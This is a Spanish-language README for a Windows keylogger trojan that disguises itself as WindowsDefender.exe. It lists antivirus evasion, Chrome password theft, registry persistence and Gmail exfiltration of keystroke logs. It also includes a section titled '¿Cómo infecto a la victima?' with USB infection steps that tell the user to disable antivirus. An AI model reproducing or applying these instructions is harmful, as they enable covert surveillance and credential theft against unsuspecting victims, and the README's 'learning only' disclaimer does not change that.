█▀ █▀█ █▄█ ▀█▀ █▀█ █▀█ ░░█ ▄▀█ █▄░█ █▄▀ █▀▀ █▄█ █░░ █▀█ █▀▀ █▀▀ █▀▀ █▀█
▄█ █▀▀ ░█░ ░█░ █▀▄ █▄█ █▄█ █▀█ █░▀█ █░█ ██▄ ░█░ █▄▄ █▄█ █▄█ █▄█ ██▄ █▀▄ v3.3.3
- Nombre:
Spy Trojan KeyLogger
- Versión:
3.4.0
- Documentación:
17/05/2020
- Plataforma:
Windows 7, 8.1 y 10
- Lenguaje:
Python 3.8
Nota importante: Esta herramienta tiene como proposito general y de uso exclusivo para aprendizaje, se creó como parte de un curso Online de hacking de "Seguridad de sistemas informáticos", no me hago responsable de un posible mal uso de ésta herramienta.
Las razones por las cuales existen los Keyloggers, tienen como fin la seguridad de una empresa ya sea que estén viendo qué está haciendo el personal, cómo interactúan sus personas en las computadoras o que los atacantes intenten obtener información confidencial, como información de inicio de sesión u otros datos confidenciales. Este programa simplemente toma cada pulsación de tecla ingresada en el teclado y luego envía el archivo de registro por correo electrónico cada 2 horas.
Doc
= Documentación de como perzonalizar el keyloggerCustomKey.md
Compile.bat
= Convierte el script*.py
a*.exe
DataCompartir.txt
= Pequeña descripción del keyloggerEjecutar.bat
= Ejecuta el script - [para pruebas]icon.ico
= Icono Windows DefenderLICENCE
= LicenciaREADME.md
= Documentaciónversion.txt
= Información detalla de conversión.py
a.exe
WindowsDefender.exe
= Keylogger Compilado3.2.0
WindowsDefender.py
= Código fuente del Keylogger
-
Indetectable Antivirus: Windows Defender
02/05/2020
, Avast, ESET NOD32 -
Envío por Gmail: Envía el registro de teclas por Gmail en un
.k
. -
Recibe datos por varios correos: Hay una posibilidad de agregar 1 o más correos, y así el registro de teclas se envíe a varios correos a la vez.
-
Obtiene contraseñas guardadas en Google Chrome: Obtiene todas las contraseñas guardadas de Google chrome .
-
Verifica conexión a internet: El keylogger verifica si la computadora está conectada a internet, y si ese es el caso envía los datos, en caso contrario, no lo envía,
-
Tiempo de envío personalizado: Usted puede elegir un intervalo de tiempo personalizado, en la cual desea que se envíe los archivos,
No se recomienta que sean muy seguidos, ya que el servidor de mensajería de google, bloqueará la cuenta por 1 día, por eso el tiempo de intervalo de envío escogida es de 2 Horas, éstas horas se cuentan despues de iniciar el script
-
Obtención de datos a prueba de errores: En otros keylogger al momento de enviar el
.k
, éste proceso demora entre 3 a 5 segundos, y en ese transcurso de tiempo el keylogger no obtiene el registro de teclas, en éste keylogger, ese error está solucionado. -
Segundo plano: Este keylogger, al ejecutarse en la linea de comando, sí mostrará una consola, solo por detalles de debuggeo, pero al ser compilada de
*.py
a*.exe
el ejecutable resultante se ejecutará en segundo plano -
Disfraz: Al momento de ser convertido de
*.py a *.exe
. El Keylogger será disfrazado comoWindowsDefender.exe
con el ícono y la información del programa. -
Oculto: El Keylogger al iniciar se copia (Solo si ya está en un archivo *exe) a la carpeta
"C:\Users\Public\Security\Windows Defender\"
, y en esa carpeta encuentras el archivo.k
. -
Iniciar automaticamente con el sistema: Modifica el registro de windows
-
Segundo Gmail en caso de Error: En casó el correo principal sea bloqueada o tenga x problemas, se usará un segundo correo.
- Conexión a una base de datos MySQL: Los datos recopilados serán enviados por una conexión a una base de datos en vez de por mensajes.
- Soporte de envió a otros buzones de correo: Se insertará un soporte para poder usar Outlook, yahoo u otros servicios de correo
- Conexión FTP: Envía el archivo
.k
vía FTP. - Envía datos mediante FTP: enviará documentos, fotos y videos mediante una conexión FTP, en segundo plano.
- Contraseñas de Wifi: Obtiene contraseñas guardadas en una laptop o PC
- Portapapeles: Obtiene el texto del portapapeles.
El programa se repite 2 veces ya que ésta utiza 2 hilos de ejecución
Requerimiento de paquetes de Python3.8
:
import pynput
import getuser
import datetime
import os
import time
import yagmail
import socket
import threading
import pyinstaller
-
Es de suma urgencia habilitar el acceso a apps menos seguras de google, la cual lo puedes hacer desde éste link.
En caso no lo habilites, el keylogger no podrá iniciar sesión en su Gmail
-
Use
git clone https://github.com/SebastianEPH/SpyTrojan_Keylogger.git
para descargar el repositorio en su computadora. -
Abra el archivo
WindowsDefender.py
en su editor de texto. -
Entre al codigo y busca la
ZONA CUSTOM
y modifique elCorreo primario
y elCorreo segundario
, luego rellene el o losCorreos que receptores
# ************************************** ZONA CUSTOM *********************************
# Correo de envío [Primaria]
def emailP(): # <<== Cambia éste correo
return "Send123@gmail.com"
def passP(): # <<== Contraseña del correo
return "contraseña1"
# Correo de envío [Segundaria] <=> Solo si hay algún problema de envío con el correo Principal
def emailS(): # <<== Cambia éste correo
return "Sendabc@gmail.com"
def emailP(): # <<== Contraseña del correo
return "contraseña2"
#Correos que recibirán los archivos log
def ReceiveE():
#return ["Recibe1@gmail.com", "Recibe2@hotmail.com", "Recibe3@yahoo.com"] # MultiCorreo
return ["Recibe1@gmail.com"] # MonoCorreo
# *************************************** FIN ZONA CUSTOM *******************************
¿Cómo infecto a la victima?
Nota: No cambiar de nombre al archivo WindowsDefender.exe
, si usted le cambia el nombre, el Keylogger quedará obsoleto.
- Usten guardará el archivo en un USB.
- Conectará el USB a la [PC] a infectar.
- Se recomienda desactivar el antivirus o agregar una exclusión en al siguiente ruta:
"C:\Users\Public\Security\Windows Defender"
. - Lo siguiente es ejecutar el archivo
WindowsDefender.exe
en el USB, el Keylogger se replicará en la siguiente ruta"C:\Users\Public\Security\Windows Defender"
, Se recomienda no sacar el USB al instante ya que elKeylogger
se estará replicando en la ruta.
NOTA: Al ejecutar el archivó, ésta automaticamente modificará el registro de windows para que se inicie siempre al prender la computadora.
El Keylogger tKeyloggerará de modificar la siguiente ruta del registro "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
por lo cual necesitará permisos de administrador, por ende se recomienda que la primera ejecución se realice con permisos de administrador, en caso de que no lo ejecute con permisos de administrador, el Keylogger modificará la siguiente ruta "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Explicación:
HKEY_LOCAL_MACHINE:
El Keylogger se ejecutará en todos los usuarios exitentes y los nuevos usuarios de la computadoraHKEY_CURRENT_USER:
El Keylogger solo se ejecutará en el usuario actual, si se llegará a crear otro usuario, el Keylogger Solo funcionará en el usuario principal